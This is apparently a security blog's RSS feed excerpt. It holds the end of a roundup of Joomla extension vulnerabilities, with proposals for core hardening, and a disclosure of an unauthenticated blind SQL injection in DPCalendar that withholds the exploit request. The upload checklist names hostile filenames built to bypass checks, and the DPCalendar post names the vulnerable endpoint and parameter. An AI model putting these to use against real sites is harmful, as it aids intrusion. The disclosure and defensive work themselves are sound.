&lt;p&gt;The project has since moved on the process side of the same problem. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for extension developers handling a security report&lt;/a&gt;, covering CVE assignment, researcher credit and honest changelogs. It does not stop the bugs below being written, but it would have changed how several of these nineteen were communicated.&lt;/p&gt;
&lt;h3&gt;1. Ship a tiny SQL-injection filter as a core plugin&lt;/h3&gt;
&lt;p&gt;There is essentially never a legitimate reason for a raw, SQL-looking payload to arrive as a request parameter on a public &lt;code&gt;index.php&lt;/code&gt; endpoint. A default-on system plugin that inspects incoming request values and rejects the obvious injection shapes (union selects, stacked queries, comment sequences, &lt;code&gt;information_schema&lt;/code&gt; probing) would neutralise the delivery of every SQL injection in this roundup. It does not need to be clever or exhaustive. It could genuinely be ten lines. Call it a mini-WAF.&lt;/p&gt;
&lt;p&gt;Aside, because we enjoyed this rather too much: &quot;Miniwaf&quot; is also a popular crunchy rolled-wafer snack made by the Hai Ha Confectionery Company in Vietnam. Ours has fewer calories and blocks considerably more attacks.&lt;/p&gt;
&lt;p&gt;There is precedent for exactly this, too. In 2019 the Joomla Project adopted the &lt;a href=&quot;https://developer.joomla.org/security-centre/770-20190206-core-implement-the-typo3-phar-stream-wrapper.html&quot;&gt;TYPO3 phar stream wrapper&lt;/a&gt; across the entire CMS, a single central guard that shut down &lt;code&gt;phar://&lt;/code&gt; object-injection attacks so no individual extension had to defend against them alone. It was only &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/45256&quot;&gt;deprecated in 5.3 and removed in 6.0&lt;/a&gt; once PHP 8 fixed the underlying issue and made it redundant. A default-on request filter is the very same move: one small piece of core code that protects every extension at once.&lt;/p&gt;
&lt;h3&gt;2. Make that same mini-WAF refuse front-end file uploads by default&lt;/h3&gt;
&lt;p&gt;The other half of this roundup is anonymous file upload. A core plugin that simply blocks multipart file uploads to public front-end endpoints unless the receiving component has explicitly opted in would have stopped the upload RCEs cold. Most of the vulnerable endpoints never intended to accept a file from an anonymous visitor at all. A default-deny posture, opt-in per component, turns &quot;the developer forgot to check&quot; into &quot;safe unless someone deliberately allowed it&quot;.&lt;/p&gt;
&lt;p&gt;Those two small features, a request filter and an upload gate, would between them have blocked almost every vulnerability in this post, the SQL injections and the file uploads alike.&lt;/p&gt;
&lt;h3&gt;3. Provide one hardened, official file-upload API&lt;/h3&gt;
&lt;p&gt;Today every extension author rolls their own upload handling, and every roll is a fresh chance to get it wrong. Joomla should offer a single, battle-tested, unit-tested upload service that developers call instead of writing their own, with the safe behaviour baked in and not optional:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A strict, non-bypassable extension &lt;strong&gt;allow-list&lt;/strong&gt; (permit &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;pdf&lt;/code&gt;; never a deny-list that forgets &lt;code&gt;phtml&lt;/code&gt;, &lt;code&gt;phar&lt;/code&gt;, &lt;code&gt;php7&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Real &lt;strong&gt;content inspection&lt;/strong&gt;, verifying the file&apos;s actual magic bytes and MIME, not its name or the client-supplied &lt;code&gt;Content-Type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Polyglot detection&lt;/strong&gt;, rejecting files that are valid as two formats at once (the classic image or PDF header that is also runnable PHP), which sail straight past a naive magic-byte check&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double-extension and null-byte&lt;/strong&gt; handling (&lt;code&gt;shell.php.jpg&lt;/code&gt;, &lt;code&gt;shell.php%00.jpg&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename normalisation&lt;/strong&gt;, generating a random server-side name rather than trusting the uploaded one&lt;/li&gt;
&lt;li&gt;Writing to a location that is &lt;strong&gt;not web-served&lt;/strong&gt;, or is hardened against execution, by default&lt;/li&gt;
&lt;li&gt;Enforced &lt;strong&gt;size and count limits&lt;/strong&gt;, plus per-user rate limiting&lt;/li&gt;
&lt;li&gt;Clear, prominent &lt;strong&gt;documentation&lt;/strong&gt;, so the safe path is the obvious path a developer reaches for&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of this is exotic. It is the boring, known-good checklist that every one of these extensions had to implement by hand, and that at least six of them got wrong in a single month. Build it once, test it to death, and the whole ecosystem gets safer by default.&lt;/p&gt;
&lt;h3&gt;4. Stop pretending a complicated .htaccess is security&lt;/h3&gt;
&lt;p&gt;Joomla ships a long, intimidating &lt;code&gt;.htaccess.txt&lt;/code&gt; full of rewrite and blocking rules, and a cottage industry of &quot;hardening&quot; guides tells site owners to pile on more. It looks reassuring. It is mostly theatre. Every vulnerability in this roundup arrived through an approved, normal request to &lt;code&gt;index.php&lt;/code&gt;, the one path every &lt;code&gt;.htaccess&lt;/code&gt; is built to allow, so those rules never got a look in. A file complex enough that almost nobody who copies it understands it, and that does not stop the attacks that actually happen, is not security. It is the feeling of security, plus a support burden. The platform should stop leaning on it as a headline defence and put the protection where the requests actually arrive: in the code, in a request filter, in a safe upload API. Damage-control rules in an upload directory are worth having, but they are the seatbelt, not the brakes, and they should be presented that way.&lt;/p&gt;
&lt;h3&gt;5. Give AJAX endpoints one simple, standard way to handle auth and authz&lt;/h3&gt;
&lt;p&gt;Almost every extension that exposes a &lt;code&gt;com_ajax&lt;/code&gt; handler or a front-end task writes its own authentication and authorisation from scratch: checking the CSRF token here, remembering to call &lt;code&gt;authorise()&lt;/code&gt; there, deciding for itself whether a guest should be let through. Most of the bugs in this post are that exact decision going wrong, or being skipped, on a single endpoint. When every developer hand-rolls the same gate, sooner or later one of them leaves the latch off.&lt;/p&gt;
&lt;p&gt;Joomla should give AJAX and front-end endpoints one declarative way to say &quot;this action needs a valid token&quot; and &quot;this action needs this permission&quot;, enforced by the framework before the handler ever runs. Better still, make the safe state the default: an endpoint that declares nothing gets a token check and a login requirement automatically, and a developer has to consciously, visibly opt a task out to expose it to the public. Getting authentication and authorisation right should be one line of declaration, not a discipline every extension author has to remember to apply perfectly, every single time.&lt;/p&gt;
&lt;p&gt;We are not the Joomla Project - actually we are physically banned from contributing to the Joomla project, like other major players in the Joomla ecosystem (but yet they love to protect their toxic inner circle - go figure) and we do not get to set its roadmap. But we read a great deal of extension code, and from where we sit these five changes would remove most of the ground this month&apos;s vulnerabilities grew in.&lt;/p&gt;
&lt;h2&gt;Why .htaccess is damage control, not a Joomla security fix&lt;/h2&gt;
&lt;p&gt;A common reaction to a run of upload vulnerabilities is &quot;I have got an &lt;code&gt;.htaccess&lt;/code&gt;, I am fine&quot;. You are not, and it is worth being precise about why.&lt;/p&gt;
&lt;p&gt;These flaws were reached through &lt;strong&gt;approved, normal endpoints&lt;/strong&gt;. The malicious request looked like a legitimate form submission or AJAX call, so it sailed through routing and rewrite rules. An &lt;code&gt;.htaccess&lt;/code&gt; that only blocks odd-looking URLs never sees a problem, because nothing about the request was odd. The application accepted it on purpose.&lt;/p&gt;
&lt;p&gt;Where &lt;code&gt;.htaccess&lt;/code&gt; genuinely helps is &lt;strong&gt;after&lt;/strong&gt; the file has been written: a rule in your upload directories that refuses to execute PHP downgrades a remote code execution into an arbitrary file write. That is a real reduction in blast radius, but it is not safety. An attacker who can still write files can fill your disk and take the site down, host illegal content under your domain, or leave a payload waiting for the day execution gets re-enabled. And none of it touches the SQL injection class at all: there is no file to block, the attacker reads your database straight out of a normal query.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Your &lt;code&gt;.htaccess&lt;/code&gt; will &lt;span&gt;NOT SAVE YOU&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;A Web Application Firewall (WAF) layer might.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This all deserves its own full treatment, and it is getting one. We have a dedicated post coming soon on exactly why an &lt;code&gt;.htaccess&lt;/code&gt; protects far less than most site owners think, which requests ride straight through it, and the hardening (and the WAF layer) that actually earns its place. The short version for today: an &lt;code&gt;.htaccess&lt;/code&gt; is a seatbelt. Worth having, capable of turning a catastrophe into a bad day, and no reason whatsoever to skip the actual fix. Update the extension.&lt;/p&gt;
&lt;h2&gt;More Joomla disclosures are already in the pipeline&lt;/h2&gt;
&lt;p&gt;This roundup covers what we can talk about, and every one of the nineteen above is now patched and named: the events and booking component that sat redacted here through its disclosure window is public at last as &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;. It is not the whole of what we have found. Beyond the nineteen, we are still holding further confirmed vulnerabilities, reported or about to be reported, and not yet patched. We will not name the extensions or vendors until a fix exists, for the obvious reason that naming an unpatched flaw is just publishing an exploit.&lt;/p&gt;
&lt;p&gt;And that is only what is already confirmed. &lt;strong&gt;We are still researching another 10 potential critical or high-severity issues in well known Joomla extensions.&lt;/strong&gt; Some will turn out to be nothing. On the last month&apos;s strike rate, most will not.&lt;/p&gt;
&lt;p&gt;We are also aiming higher than extensions. Together with another security researcher, and with AI assistance, we are working to chain several individually low-severity issues into a single working compromise of Joomla core itself, on the current 6.1.2 release. It is early days, but our honest assessment is that a remote compromise of Joomla 6.1.2 is likely to be provable, and we expect to be able to demonstrate it. If we get there, it follows the exact same path as everything above: reported privately to the Joomla Security Strike Team first, with no public detail until a fix exists.&lt;/p&gt;
&lt;p&gt;Each of these will get its own full write-up here the moment its vendor ships a fix, exactly as the ones above did. If you are a mySites.guru subscriber, you do not have to track any of this by hand: the affected sites get flagged automatically as soon as each vulnerability is public and in our database.&lt;/p&gt;
&lt;h2&gt;AI is shrinking the gap between a Joomla patch and mass exploitation&lt;/h2&gt;
&lt;p&gt;Here is the uncomfortable half of every disclosure. The moment a fix ships, the fix itself becomes a map. Anyone can diff the patched code against the previous version, see exactly which check was added and therefore which check was missing, and reconstruct the exploit from that difference. This has always been true. What has changed is the speed.&lt;/p&gt;
&lt;p&gt;An attacker can now feed a patch diff to an AI model, get a working understanding of the bug in minutes, generate a proof-of-concept, and turn automated scanning loose to find candidate sites running the vulnerable version, all in the time it used to take to read the changelog. Several of the flaws above were exploited in the wild within hours of the fix appearing. The window between &quot;patched&quot; and &quot;hunted at scale&quot; is now measured in hours, not weeks. That is the real reason &quot;I will update at the weekend&quot; is a losing strategy.&lt;/p&gt;
&lt;p&gt;It is worth being straight about our own side of that, because the honest version is more reassuring than the marketing version. &lt;strong&gt;Every one of these nineteen issues was found by a human first&lt;/strong&gt;, by reading the actual extension source code and recognising a dangerous pattern, not by pointing a model at a repository and waiting. That human judgement was then backed by tooling we have built and sharpened over the last decade: the connector that inventories every extension and version across a portfolio of sites, the vulnerability matcher, the proof-of-concept harnesses, the local test rigs. AI came in only as a sprinkle at the end, a way to make sure no code path or edge case was missed once the human had already found the door. Human-led, tool-assisted, AI for completeness. The attackers are automating the weaponisation of your patches. The least you can do is not give them a week&apos;s head start.&lt;/p&gt;
&lt;p&gt;None of which means AI is the villain of the piece. The same tool cuts both ways, and how useful or how dangerous it turns out to be is mostly a statement about the person holding it.&lt;/p&gt;
&lt;figure&gt;
  &lt;div&gt;
    &lt;div&gt;
      
      &lt;div&gt;
        &lt;span&gt;Phil Taylor&lt;/span&gt;
        &lt;span&gt;@myPhilTaylor&lt;/span&gt;
      &lt;/div&gt;
      &lt;a href=&quot;https://x.com/myPhilTaylor/status/2076247693320466439&quot;&gt;
        
      &lt;/a&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;Unpopular opinion:&lt;/p&gt;
      &lt;p&gt;Not every text, paragraph, software solution or tool developed by AI is bad, or AI slop, or insecure, or unusable, or unhelpful.&lt;/p&gt;
      &lt;p&gt;A bad workman always blames his tools.&lt;/p&gt;
    &lt;/div&gt;
    &lt;div&gt;
      
      &lt;a href=&quot;https://x.com/myPhilTaylor/status/2076247693320466439&quot;&gt;View on X&lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;h2&gt;Better found by us than by an attacker&lt;/h2&gt;
&lt;p&gt;If you run one of these extensions and this post made your stomach drop, hold onto one thing: the bug existed whether or not we found it. The only real question was who would find it first, and what they would do next.&lt;/p&gt;
&lt;p&gt;When we find one, a fixed sequence follows. A private report to the vendor. A fix built and shipped. A coordinated release. Only then a public write-up, with the exploit detail held back. The site owner gets a patch before they get the bad news, and nobody is handed a working exploit.&lt;/p&gt;
&lt;p&gt;When someone with worse intentions finds the same bug, none of that happens. There is no email to the vendor, no patch, no warning. The first you hear of it is a defaced homepage, a wallet-drainer injected into every page, a mailbox full of spam sent from your server, or a quiet backdoor that sits unnoticed for months.&lt;/p&gt;
&lt;p&gt;Same bug, opposite outcome. So yes, a run of disclosures like this is uncomfortable reading, but the uncomfortable version is the good one. The alternative was never &quot;the bug never existed&quot;. The alternative is that someone found it and chose not to tell you. Better us.&lt;/p&gt;
&lt;h2&gt;How mySites.guru finds affected Joomla sites for you&lt;/h2&gt;
&lt;p&gt;Updating one site is easy. The hard part, when you manage dozens or hundreds of Joomla sites, is knowing &lt;strong&gt;which&lt;/strong&gt; ones run PageBuilder CK, or RSFiles!, or AcyMailing, and which of those are still on a vulnerable version. Nineteen disclosures in a month is nineteen rounds of that question, and checking each admin panel by hand does not scale.&lt;/p&gt;
&lt;p&gt;mySites.guru already tracks the installed extensions and versions on every connected site. As each of these vulnerabilities was disclosed, we added its affected range to our extension vulnerability database, so every connected site running a vulnerable version is flagged automatically. You see, in one place, exactly which sites need which update, and you can push the fix from the dashboard rather than logging into each one. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like these is in place before an attacker gets there, and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass-update across every affected site from one screen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is what we built the platform for. You should not learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand: we did exactly that when &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;we found every site running a vulnerable copy of JCE&lt;/a&gt;, and we repeat it for every disclosure here. The dashboard tells you what is exposed, lets you &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;drop straight into any site&apos;s admin with one click&lt;/a&gt; to check or fix it, and does it all from one place.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Work down the table above and get every affected extension onto its fixed version. Start with the CVSS 10.0 five: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox&lt;/li&gt;
&lt;li&gt;Every finding in this roundup now has a fix out, so there is nothing left to wait on. The whole job is getting each affected extension updated across every site you run, before a scanner reaches the ones you missed&lt;/li&gt;
&lt;li&gt;Take a backup before each update, and &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;snapshot everything first&lt;/a&gt; if you manage more than a couple of sites&lt;/li&gt;
&lt;li&gt;If you manage many sites, let mySites.guru show you which are still exposed rather than checking by hand, and &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the updates in bulk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Harden your upload and download directories to refuse PHP execution, as damage control, not as a substitute for updating&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version of an upload flaw for any length of time, assume you may have been hit: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If a SQL-injection-affected extension was ever live on your site, &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;audit your Joomla database security&lt;/a&gt; and rotate anything an attacker could have read, starting with user password hashes&lt;/li&gt;
&lt;li&gt;Not on it yet? &lt;a href=&quot;https://manage.mysites.guru/en&quot;&gt;Sign up to mySites.guru&lt;/a&gt;, connect your Joomla and WordPress sites, and let the dashboard flag every one running a vulnerable extension for you, then update them in bulk. You can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to our announcement list&lt;/a&gt; so alerts like these reach you the moment they are public, instead of finding out from the news or, worse, from your logs&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why public AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the pattern behind almost all of these&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug we found across several extensions this month&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla! Security Centre&lt;/a&gt; and the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities catalog&lt;/a&gt; - four of these are on it, added in a single week&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; and &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How mySites.guru mass-updates extensions across every site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find every site running a vulnerable extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - two access control flaws in a Joomla file storage extension, and what AI-assisted development does to a security fix&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>responsible disclosure</category><category>cve</category><enclosure url="https://mysites.guru/_astro/a-month-of-joomla-security-disclosures.B8uSdkWk.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in DPCalendar found by mySites.guru</title><link>https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/</guid><description>mySites.guru found and reported an unauthenticated SQL injection in DPCalendar for Joomla. An anonymous request to the public events feed could read the whole site database. Fixed in 10.11.2 and 8.19.4, update now.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.digital-peak.com/en/dpcalendar&quot;&gt;DPCalendar&lt;/a&gt; is one of the most widely installed calendar and events components for Joomla, chosen for mature, professionally run sites right up to the highest levels of the Joomla world itself. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in DPCalendar, and reported it to the developers before disclosing anything publicly.&lt;/strong&gt; The fix is now available in &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;Digital Peak&apos;s security release&lt;/a&gt;: DPCalendar &lt;strong&gt;10.11.2&lt;/strong&gt; for Joomla 4.4.4 to 6.x, and &lt;strong&gt;8.19.4&lt;/strong&gt; for the Joomla 3 branch.&lt;/p&gt;
&lt;p&gt;If you run DPCalendar on any Joomla site, update to 10.11.2 now (or 8.19.4 if you are still on Joomla 3). If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in DPCalendar and reported it to the vendor&lt;/li&gt;
&lt;li&gt;The flaw dates back to DPCalendar &lt;strong&gt;8.18.0&lt;/strong&gt; and is present in every release since, on both the current line and the Joomla 3 branch, across all editions (Free, Pro, Business); fixed in &lt;strong&gt;10.11.2&lt;/strong&gt; (Joomla 4.4.4 to 6.x) and &lt;strong&gt;8.19.4&lt;/strong&gt; (Joomla 3)&lt;/li&gt;
&lt;li&gt;The public front-end events feed placed an &lt;strong&gt;author filter parameter straight into a database query&lt;/strong&gt; without turning it into a number, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt;: user accounts, password hashes, the site secrets from any database table such as draft content, API keys, personal data, ecommerce orders - everything in the database!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to DPCalendar 10.11.2 immediately&lt;/strong&gt; (or 8.19.4 if you are still on Joomla 3)&lt;/li&gt;
&lt;li&gt;We score it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;, and Digital Peak&apos;s own advisory rates it High too. It is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;, assigned through the Joomla CNA&lt;/li&gt;
&lt;li&gt;Credit to Digital Peak: they shipped the fix within 24 hours, over a holiday break, and publicly credited us for the find&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it to Digital Peak before publishing details. We withheld the exact request and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;DPCalendar exposes a front-end events feed that anonymous visitors can reach without logging in. It is the same feed the calendar itself uses to draw events, reached at &lt;code&gt;index.php?option=com_dpcalendar&amp;amp;view=events&amp;amp;format=raw&lt;/code&gt;. That feed accepts an author filter, &lt;code&gt;filter_created_by&lt;/code&gt;, and when it is supplied as a plain value the extension placed it into the events query &lt;strong&gt;without casting it to an integer first&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Joomla&apos;s standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax. Quotes, parentheses and keywords all survive. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted author filter that turned the query into one reading from any table in the Joomla database, and infer the result from the response. No account needed, no CSRF token, nothing stolen first.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and other stored data&lt;/li&gt;
&lt;li&gt;Event, content and extension data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;It is a blind injection, and that still means full database read&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection. In the loud kind, the query result comes straight back in the page, and an attacker dumps a table in one request. This one is the quieter kind: a &lt;strong&gt;blind&lt;/strong&gt; injection. The response does not print the data. Instead, the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than &lt;code&gt;m&lt;/code&gt;?) and reads the answer from whether the events feed changes.&lt;/p&gt;
&lt;p&gt;Do not let &quot;blind&quot; read as &quot;limited&quot;. Blind injection is slower to exploit, not smaller in what it exposes. Automated tooling walks a database out one bit at a time in seconds of wall-clock. The end state is identical to the loud kind: the full contents of every table an anonymous request can reach, including the credentials table. Blind is a throughput detail for the attacker, not a safety margin for you.&lt;/p&gt;
&lt;p&gt;If you have not met blind SQL injection before, here is a short explainer from Indusface that walks through the exact mechanics described above. Yes, it is someone else&apos;s video. Just like we always do, copying things from other people all the time:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;One character per request is not a safety margin&lt;/h2&gt;
&lt;p&gt;Digital Peak&apos;s advisory is candid about the mechanics, and one point in it is worth addressing directly. It notes that the data comes out &quot;one character per request&quot;, and frames that as making it impractical to pull entire tables. That describes exactly how a blind injection works. It does not describe a limit on the damage.&lt;/p&gt;
&lt;p&gt;The character-at-a-time loop is the definition of blind SQL injection, not a cap on it. Every blind injection ever found has worked this way, and every one has still ended with the full database in the attacker&apos;s hands. The arithmetic is not reassuring: a bcrypt password hash is about sixty characters, a binary search reads each character in roughly seven requests, so a complete Super User hash is a few hundred requests, and a live server answers those in a couple of minutes. &quot;A large number of requests&quot; sounds like friction. At machine speed it is a coffee break.&lt;/p&gt;
&lt;p&gt;The severity does not move with the request count. Whether the database is read in one request or one million, the end state is identical: every user account, every password hash and other Joomla API secrets, all readable by an anonymous visitor. Confidentiality is either intact or it is gone, and after a blind injection it is gone. That is precisely why both we and Digital Peak rate this High rather than shrugging it off with &lt;strong&gt;&amp;lt;sarcasm&amp;gt;This is fine.&amp;lt;/sarcasm&amp;gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;You have never needed AI to weaponise blind SQL injection&lt;/h2&gt;
&lt;p&gt;The advisory also mentions that AI-assisted tools can speed the extraction up. That is true, and it is also beside the point, because the speed-up it describes arrived in 2006, not in the 2020s.&lt;/p&gt;
&lt;p&gt;Fully automated, character-by-character blind SQL injection has been free, off-the-shelf tooling for about twenty years. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated boolean-based and time-based blind extraction and dumped entire databases since July 2006. Point-and-click extractors put the same power in front of absolute beginners even earlier: Absinthe demonstrated automated blind dumping at Black Hat in 2004, and Havij made it a one-button affair by 2010. The underlying technique was documented publicly by Chris Anley in 2002 and popularised in a dedicated SPI Dynamics whitepaper the following year. All of it predates modern AI by fifteen to twenty years.&lt;/p&gt;
&lt;p&gt;A blind injection a human would find tedious is a single sqlmap command that has been public since before a lot of today&apos;s extension code was even written. AI did not make blind SQL injection practical. sqlmap did that two decades ago. Casting AI as the thing that turns &quot;one character per request&quot; into a real threat gets the timeline backwards.&lt;/p&gt;
&lt;p&gt;Joomla knows this class of bug intimately, and not only from its extensions. Its own core has shipped serious SQL injection flaws, and they did real damage long before anyone had an AI assistant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;October 2015, &lt;code&gt;com_contenthistory&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2015-7857&quot;&gt;CVE-2015-7857&lt;/a&gt; and related).&lt;/strong&gt; An unauthenticated SQL injection in Joomla core, in every release from 3.2.0 to 3.4.4, let an anonymous attacker steal a live Super User session and take the whole site over. It was error-based rather than blind, which sharpens the point rather than softening it, and it was being exploited in the wild within 24 hours of the fix, against a component that shipped enabled by default on millions of sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;May 2017, &lt;code&gt;com_fields&lt;/code&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2017-8917&quot;&gt;CVE-2017-8917&lt;/a&gt;).&lt;/strong&gt; An unauthenticated SQL injection in Joomla 3.7.0, through an ORDER BY parameter that public exploits drove both blind and error-based, exposing session tokens and password hashes. It was weaponised with public exploit code within days.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of those needed AI. SQL injection has been fully compromising Joomla sites, core and extensions alike, for well over a decade, with tools any teenager could download for free. The stakes were never raised by AI. They were always this high, and the only reliable answer has always been the same one: update the affected code.&lt;em&gt; Is Not Passive-Aggressive Enough&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches DPCalendar. Sites running bare, with no such protection, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Whether the calendar has any publicly visible events.&lt;/strong&gt; The blind oracle in this flaw reads against the events the feed returns, so a live, in-use calendar (which is every real one) gives an attacker exactly what they need. An empty calendar has nothing to read against, though that is not a state any working site stays in.&lt;/li&gt;
&lt;/ol&gt;
